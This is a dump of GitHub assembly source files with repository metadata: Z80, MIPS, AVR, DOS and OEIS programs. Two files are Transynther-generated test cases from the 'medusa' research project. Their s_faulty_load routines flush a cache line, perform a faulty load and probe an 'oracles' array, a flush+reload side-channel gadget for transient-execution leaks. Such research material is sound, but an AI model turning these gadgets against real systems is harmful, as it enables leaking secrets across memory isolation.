f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/hbios/driver/terminal/rc_01_output_hbios0/rc_01_output_hbios0_iterm_msg_bs.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/hbios/driver/terminal/rc_01_output_hbios0/rc_01_output_hbios0_iterm_msg_bs.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
INCLUDE "config_private.inc" SECTION code_driver SECTION code_driver_terminal_output PUBLIC rc_01_output_hbios0_iterm_msg_bs EXTERN rc_01_output_hbios0_oterm_msg_putc_send rc_01_output_hbios0_iterm_msg_bs: ; backspace ; can use: af, bc, de, hl, ix call backspace ld c,' ' call rc_01_output_hbios0_oterm_msg_putc_send backspace: ld c,CHAR_BS jp rc_01_output_hbios0_oterm_msg_putc_send
17.291667
47
0.807229
f21b7b0ea57a905efe2b07f5233ffb47fe0711a4
316
asm
Assembly
toolchain/stdlibc/__startup.asm
VladisM/MARK_II-SoC
58a441675729d4036b503c2a4743fd181daaf5af
[ "MIT" ]
25
2017-07-21T08:56:19.000Z
2021-05-09T22:12:15.000Z
toolchain/stdlibc/__startup.asm
C-ArenA/MARK_II
58a441675729d4036b503c2a4743fd181daaf5af
[ "MIT" ]
30
2016-07-12T22:12:58.000Z
2018-06-03T14:08:07.000Z
toolchain/stdlibc/__startup.asm
C-ArenA/MARK_II
58a441675729d4036b503c2a4743fd181daaf5af
[ "MIT" ]
5
2017-11-20T14:46:22.000Z
2020-04-01T10:48:10.000Z
.IMPORT main __startup: OR R0 R0 R1 OR R0 R0 R2 OR R0 R0 R3 OR R0 R0 R4 OR R0 R0 R5 OR R0 R0 R6 OR R0 R0 R7 OR R0 R0 R8 OR R0 R0 R9 OR R0 R0 R10 OR R0 R0 R11 OR R0 R0 R12 .MVI SP 0x7FF OR SP R0 R13 CALL main __startup_halt: BZ R0 __startup_halt
13.166667
24
0.560127
bb8688a947e52e721b9b7ccfef00089660314514
847
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_un_/i7-7700_9_0x48_notsx.log_28_1812.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_un_/i7-7700_9_0x48_notsx.log_28_1812.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_un_/i7-7700_9_0x48_notsx.log_28_1812.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %r9 push %rdx // Faulty Load mov $0x93e, %r8 clflush (%r8) nop nop nop nop xor %r9, %r9 vmovaps (%r8), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r10 lea oracles, %r8 and $0xff, %r10 shlq $12, %r10 mov (%r8,%r10,1), %r10 pop %rdx pop %r9 pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_P', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_P', 'congruent': 0}} <gen_prepare_buffer> {'30': 1, '04': 11, 'a8': 16} 30 a8 a8 a8 a8 04 a8 a8 04 a8 04 04 04 04 a8 04 04 a8 a8 04 a8 a8 a8 a8 04 a8 a8 04 */
18.021277
120
0.637544
c50bce60cc7e8a49ec862ca90413a81925ce9121
1,705
asm
Assembly
programs/oeis/152/A152746.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/152/A152746.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/152/A152746.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A152746: Six times hexagonal numbers: 6*n*(2*n-1). ; 0,6,36,90,168,270,396,546,720,918,1140,1386,1656,1950,2268,2610,2976,3366,3780,4218,4680,5166,5676,6210,6768,7350,7956,8586,9240,9918,10620,11346,12096,12870,13668,14490,15336,16206,17100,18018,18960,19926,20916,21930,22968,24030,25116,26226,27360,28518,29700,30906,32136,33390,34668,35970,37296,38646,40020,41418,42840,44286,45756,47250,48768,50310,51876,53466,55080,56718,58380,60066,61776,63510,65268,67050,68856,70686,72540,74418,76320,78246,80196,82170,84168,86190,88236,90306,92400,94518,96660,98826,101016,103230,105468,107730,110016,112326,114660,117018,119400,121806,124236,126690,129168,131670,134196,136746,139320,141918,144540,147186,149856,152550,155268,158010,160776,163566,166380,169218,172080,174966,177876,180810,183768,186750,189756,192786,195840,198918,202020,205146,208296,211470,214668,217890,221136,224406,227700,231018,234360,237726,241116,244530,247968,251430,254916,258426,261960,265518,269100,272706,276336,279990,283668,287370,291096,294846,298620,302418,306240,310086,313956,317850,321768,325710,329676,333666,337680,341718,345780,349866,353976,358110,362268,366450,370656,374886,379140,383418,387720,392046,396396,400770,405168,409590,414036,418506,423000,427518,432060,436626,441216,445830,450468,455130,459816,464526,469260,474018,478800,483606,488436,493290,498168,503070,507996,512946,517920,522918,527940,532986,538056,543150,548268,553410,558576,563766,568980,574218,579480,584766,590076,595410,600768,606150,611556,616986,622440,627918,633420,638946,644496,650070,655668,661290,666936,672606,678300,684018,689760,695526,701316,707130,712968,718830,724716,730626,736560,742518 mul $0,2 bin $0,2 mov $1,$0 mul $1,6
213.125
1,613
0.831672
d3efbcda2525d48a06cb691588cb516f6aca97b5
2,246
asm
Assembly
Script/2.asm
Tarak-Mahmud/CSE331L_Section_7_Summer20_NSU_Final
2c06a0d98f6b6929cfe0f7a6ef3876d749bc0fef
[ "MIT" ]
null
null
null
Script/2.asm
Tarak-Mahmud/CSE331L_Section_7_Summer20_NSU_Final
2c06a0d98f6b6929cfe0f7a6ef3876d749bc0fef
[ "MIT" ]
null
null
null
Script/2.asm
Tarak-Mahmud/CSE331L_Section_7_Summer20_NSU_Final
2c06a0d98f6b6929cfe0f7a6ef3876d749bc0fef
[ "MIT" ]
null
null
null
.MODEL SMALL .STACK 100H .DATA PROMPT_1 DB 'Enter hexadecimal : $' PROMPT_2 DB 0DH,0AH,'The equivalent 16-bit binary number is : $' ILLEGAL DB 0DH,0AH,'Illegal hex number. Try again : $' COUNT DB ? .CODE MAIN PROC MOV AX, @DATA ; initialize DS MOV DS, AX LEA DX, PROMPT_1 ; load and display the string PROMPT_1 MOV AH,9 INT 21H JMP @START ; jump to label @START_2 @START_1: ; jump label LEA DX, ILLEGAL ; load and display the string ILLEGAL MOV AH, 9 INT 21H @START: ; XOR BX, BX ; clear BX MOV COUNT, 30H ; initialize loop counter @START_2: ; jump label MOV AH, 1 ; set input function INT 21H ; read a character CMP AL, 0DH ; compare Al with CR JNE @SKIP ; jump to label @SKIP if AL!=CR CMP COUNT, 30H ; compare COUNT with 0 JBE @START_1 ; jump to label @START_1 if COUNT<=0 JMP @END ; jump to label @END @SKIP: ; jump label CMP AL, "A" ; compare AL with "A" JB @DECIMAL ; jump to label @DECIMAL if AL<A CMP AL, "F" ; compare AL with "F" JA @START_1 ; jump to label @START_1 if AL>F ADD AL, 09H ; add 9 to AL JMP @OK ; jump to label @OK @DECIMAL: ; jump label CMP AL, 30H ; compare AL with 0 JB @START_1 ; jump to label @START_1 if AL<0 CMP AL, 39H ; compare AL with 9 JA @START_1 ; jump to label @START_1 if AL>9 @OK: ; jump label INC COUNT ; increment the COUNT variable AND AL, 0FH ; convert the ascii into binary code MOV CL, 4 ; set CL=4 SHL AL, CL ; shift AL towards left by 4 positions MOV CX, 4 ; set CX=4 @LOOP_1: ; loop label SHL AL, 1 ; shift AL towards left by 1 position RCL BX, 1 ; rotate BX towards left by 1 position ; through carry LOOP @LOOP_1 ; jump to label @LOOP_1 if CX!=0 CMP COUNT, 34H ; compare COUNT with 4 JE @END ; jump to label @END if COUNT=4 JMP @START_2 ; jump to label @START_2 @END: ; jump label LEA DX, PROMPT_2 ; load and display the string PROMPT_2 MOV AH, 9 INT 21H MOV CX, 16 ; set CX=16 MOV AH, 2 ; set output function @LOOP_2: ; loop label SHL BX, 1 ; shift BX towards left by 1 position JC @ONE ; jump to label @ONE if CF=1 MOV DL, 30H ; set DL=0 JMP @DISPLAY ; jump to label @DISPLAY @ONE: ; jump label MOV DL, 31H ; set DL=1 @DISPLAY: ; jump label INT 21H ; display a character LOOP @LOOP_2 ; jump to label @LOOP_2 if CX!=0 MOV AH, 4CH ; return control to DOS INT 21H MAIN ENDP END MAIN
29.168831
64
0.700801
4999ffcc22e0c6f9364668d00e9d5c1bf96dcc96
698
asm
Assembly
oeis/146/A146313.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/146/A146313.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/146/A146313.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A146313: a(n) = cosh( (2n - 1)*arcsinh(sqrt(2)) )^2 = 1 - cos( (2n - 1)*arcsin(sqrt(3)) )^2. ; Submitted by Christian Krause ; 3,243,23763,2328483,228167523,22358088723,2190864527283,214682365584963,21036680962799043,2061380051988721203,201994208413931878803,19793371044513335401443,1939548368153892937462563,190055946708036994535929683,18623543229019471571583646323,1824917180497200177020661409923,178823260145496597876453234526083,17522854577078169391715396322146163,1717060925293515103790232386335797843,168254447824187402002051058464586042403,16487218825845071881097213497143096357603 mov $3,1 lpb $0 sub $0,1 mov $1,$3 mul $1,8 add $2,$1 add $3,$2 lpe pow $3,2 mov $0,$3 mul $0,3
43.625
463
0.812321
3fc381fff0113f1e84b89ae757848914768c8429
1,972
asm
Assembly
sim/asm/fn52.asm
nanamake/avr_cpu
b557e64f471bbcabe7ef104e24ae9b3024cddcba
[ "MIT" ]
2
2021-01-21T01:36:26.000Z
2022-03-30T21:01:04.000Z
sim/asm/fn52.asm
nanamake/avr_cpu
b557e64f471bbcabe7ef104e24ae9b3024cddcba
[ "MIT" ]
null
null
null
sim/asm/fn52.asm
nanamake/avr_cpu
b557e64f471bbcabe7ef104e24ae9b3024cddcba
[ "MIT" ]
1
2020-03-05T06:04:24.000Z
2020-03-05T06:04:24.000Z
;------------------- ; test for sbis ;------------------- .equ ioreg0 = 0x00 ; i/o register dummy .equ ioreg1 = 0x01 ; i/o register dummy .equ ioreg2 = 0x02 ; i/o register dummy .equ ioreg3 = 0x1f ; i/o register dummy ;------------------- ldi r28,0xff ldi r29,0xff movw r2 ,r28 movw r4 ,r28 movw r10,r28 movw r12,r28 movw r18,r28 movw r20,r28 movw r26,r28 ldi r16,0x11 ldi r17,0x22 ldi r24,0x44 ldi r25,0x88 out ioreg0,r16 out ioreg1,r17 out ioreg2,r24 out ioreg3,r25 ;------------------- sbis ioreg0,0 in r5 ,ioreg0 sbis ioreg0,1 in r4 ,ioreg0 sbis ioreg1,1 in r3 ,ioreg1 sbis ioreg1,0 in r2 ,ioreg1 sbis ioreg2,2 in r10,ioreg2 sbis ioreg2,3 in r11,ioreg2 sbis ioreg3,3 in r12,ioreg3 sbis ioreg3,2 in r13,ioreg3 sbis ioreg0,4 in r18,ioreg0 sbis ioreg0,5 in r19,ioreg0 sbis ioreg1,5 in r20,ioreg1 sbis ioreg1,4 in r21,ioreg1 sbis ioreg2,6 in r26,ioreg2 sbis ioreg2,7 in r27,ioreg2 sbis ioreg3,7 in r28,ioreg3 sbis ioreg3,6 in r29,ioreg3 ;------------------- .def zl = r30 .def zh = r31 ldi zh,0x01 ldi zl,0x00 st z+,r5 ; (sbis) 0x11 b0 st z+,r4 ; (sbis) 0x11 b1 st z+,r3 ; (sbis) 0x22 b1 st z+,r2 ; (sbis) 0x22 b0 st z+,r10 ; (sbis) 0x44 b2 st z+,r11 ; (sbis) 0x44 b3 st z+,r12 ; (sbis) 0x88 b3 st z+,r13 ; (sbis) 0x88 b2 st z+,r18 ; (sbis) 0x11 b4 st z+,r19 ; (sbis) 0x11 b5 st z+,r20 ; (sbis) 0x22 b5 st z+,r21 ; (sbis) 0x22 b4 st z+,r26 ; (sbis) 0x44 b6 st z+,r27 ; (sbis) 0x44 b7 st z+,r28 ; (sbis) 0x88 b7 st z+,r29 ; (sbis) 0x88 b6 ;------------------- ldi r16,0xff sts 0xffff,r16 halt: rjmp halt
19.72
44
0.490365
b93e428b02c94458f569c7d19217c6f496ef95f5
227
asm
Assembly
libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sccz80/ba_priority_queue_top.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sccz80/ba_priority_queue_top.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sccz80/ba_priority_queue_top.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; int ba_priority_queue_top(ba_priority_queue_t *q) SECTION code_clib SECTION code_adt_ba_priority_queue PUBLIC ba_priority_queue_top EXTERN asm_ba_priority_queue_top defc ba_priority_queue_top = asm_ba_priority_queue_top
18.916667
54
0.885463
52965aaf5b7597ad71022bc0c52c172fce76227a
1,260
asm
Assembly
src/stars/examples/floats/quadratic.asm
kevintmcdonnell/stars
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
[ "MIT" ]
9
2020-11-05T21:26:09.000Z
2022-03-04T15:24:40.000Z
src/stars/examples/floats/quadratic.asm
kevintmcdonnell/stars
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
[ "MIT" ]
7
2020-11-06T15:59:40.000Z
2021-08-31T16:36:43.000Z
src/stars/examples/floats/quadratic.asm
kevintmcdonnell/stars
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
[ "MIT" ]
1
2021-07-13T21:55:02.000Z
2021-07-13T21:55:02.000Z
########## Evaluates Ax^2 + Bx + C ########## # Values of x, A, B, C are hard-coded .data err: .asciiz "Error: root(s) are imaginary" .align 2 A: .float 2.0 B: .float -6.0 C: .float -3.0 four: .float 4.0 zero: .float 0.0 .text main: la $t0, A # load word at the address of x into $t0 l.s $f1, 0($t0) l.s $f2, 4($t0) l.s $f3, 8($t0) l.s $f14, 12($t0) l.s $f0, 16($t0) ########## Calculations ########## neg.s $f4, $f2 # f4 = -b mul.s $f5, $f4, $f4 # f5 = b^2 mul.s $f6, $f1, $f3 # f6 = ac mul.s $f6, $f6, $f14 # f6 = 4ac sub.s $f5, $f5, $f6 # f5 = b^2 - 4ac # Check if determinant is negative c.lt.s $f5, $f0 # b^2 - 4ac < 0? bc1t error sqrt.s $f5, $f5 # f5 = sqrt(b^2 - 4ac) add.s $f10, $f4, $f5 # numerator (plus) sub.s $f11, $f4, $f5 # numerator (minus) add.s $f1, $f1, $f1 # f1 = 2a # Divide by 2a div.s $f10, $f10, $f1 div.s $f11, $f11, $f1 ########## Output ########## # Print the roots mov.s $f12, $f10 li $v0, 2 syscall li $a0, '\n' # Print newline li $v0, 11 syscall mov.s $f12, $f11 li $v0, 2 syscall li $v0, 10 # syscall 10 is terminate program syscall error: la $a0, err li $v0, 4 syscall li $v0, 10 syscall
17.027027
52
0.498413
39cc6c10bbe92e585d45746f57853be907d81467
293
asm
Assembly
programs/oeis/065/A065603.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/065/A065603.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/065/A065603.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A065603: Transposition diameter: maximal number of moves in an optimal sorting of n objects by moving blocks. ; 0,1,2,3,3,4,4,5,5,6,6,7,8,8,9 pow $0,2 lpb $0 mov $2,$0 lpb $0 add $0,$2 mul $0,2 div $0,5 add $1,72 trn $2,32 sub $2,2 lpe lpe div $1,72 mov $0,$1
16.277778
111
0.587031
7ca76fdb9573c944ad172c9cb54f32ff6a7c1dec
590
asm
Assembly
oeis/001/A001962.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/001/A001962.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/001/A001962.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A001962: A Beatty sequence: floor(n * (sqrt(5) + 3)). ; Submitted by Jon Maiga ; 5,10,15,20,26,31,36,41,47,52,57,62,68,73,78,83,89,94,99,104,109,115,120,125,130,136,141,146,151,157,162,167,172,178,183,188,193,198,204,209,214,219,225,230,235,240,246,251,256,261,267,272,277,282,287,293,298,303,308,314,319,324,329,335,340,345,350,356,361,366,371,376,382,387,392,397,403,408,413,418,424,429,434,439,445,450,455,460,466,471,476,481,486,492,497,502,507,513,518,523 mul $0,2 add $0,1 seq $0,1950 ; Upper Wythoff sequence (a Beatty sequence): a(n) = floor(n*phi^2), where phi = (1+sqrt(5))/2.
73.75
381
0.7
9e5a7bb73b8e77c52e65ab415112aea8a5cf6e4f
8,025
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_185.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_185.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_185.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x5e23, %r8 clflush (%r8) nop nop nop inc %rbp mov $0x6162636465666768, %r12 movq %r12, (%r8) cmp %rbx, %rbx lea addresses_D_ht+0x119ff, %rsi lea addresses_normal_ht+0x14e25, %rdi nop nop nop nop nop dec %r13 mov $78, %rcx rep movsq nop nop nop nop and %rcx, %rcx lea addresses_D_ht+0x1e725, %r13 nop cmp $7272, %r8 movb $0x61, (%r13) nop nop cmp %rcx, %rcx lea addresses_D_ht+0x12d2d, %rbx nop nop add $25490, %r8 vmovups (%rbx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r13 nop dec %rbx lea addresses_A_ht+0x10f09, %rsi nop sub %rdi, %rdi mov (%rsi), %bx nop nop add $6851, %r8 lea addresses_UC_ht+0x1d48e, %rbp nop and %rbx, %rbx vmovups (%rbp), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %r12 nop nop cmp $41852, %rcx lea addresses_D_ht+0x1075, %rbx cmp $7557, %rdi movb (%rbx), %r13b nop nop nop nop add %rdi, %rdi lea addresses_WT_ht+0x1e50d, %rsi nop nop add %r12, %r12 movw $0x6162, (%rsi) nop nop nop inc %r8 lea addresses_normal_ht+0x12c5, %rsi clflush (%rsi) cmp %r13, %r13 mov $0x6162636465666768, %r8 movq %r8, %xmm6 movups %xmm6, (%rsi) nop add $50733, %rcx lea addresses_D_ht+0xef25, %rsi lea addresses_WT_ht+0xcd15, %rdi nop nop nop nop add %r8, %r8 mov $58, %rcx rep movsl sub %r12, %r12 lea addresses_D_ht+0xe325, %rsi lea addresses_WC_ht+0xa725, %rdi inc %r8 mov $65, %rcx rep movsq nop nop add %r8, %r8 lea addresses_WT_ht+0x16225, %rsi lea addresses_WC_ht+0xe295, %rdi clflush (%rdi) xor $11502, %rbp mov $21, %rcx rep movsq nop and $65241, %r12 lea addresses_WT_ht+0x1c625, %rbx nop nop nop nop nop add $40239, %rcx mov $0x6162636465666768, %r12 movq %r12, %xmm6 and $0xffffffffffffffc0, %rbx movaps %xmm6, (%rbx) nop sub $7870, %r8 lea addresses_WC_ht+0x127e5, %r12 nop nop and %rbp, %rbp mov (%r12), %r8d nop nop nop nop nop sub $49423, %rcx lea addresses_UC_ht+0xe7cd, %rbx nop nop sub %rcx, %rcx movb $0x61, (%rbx) nop nop nop nop nop dec %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r9 push %rbp push %rdi push %rdx // Store lea addresses_WT+0x16a25, %rbp nop xor $34388, %r10 mov $0x5152535455565758, %r9 movq %r9, %xmm4 vmovups %ymm4, (%rbp) and %r9, %r9 // Faulty Load lea addresses_PSE+0xe725, %r15 clflush (%r15) add %rdx, %rdx mov (%r15), %di lea oracles, %rdx and $0xff, %rdi shlq $12, %rdi mov (%rdx,%rdi,1), %rdi pop %rdx pop %rdi pop %rbp pop %r9 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 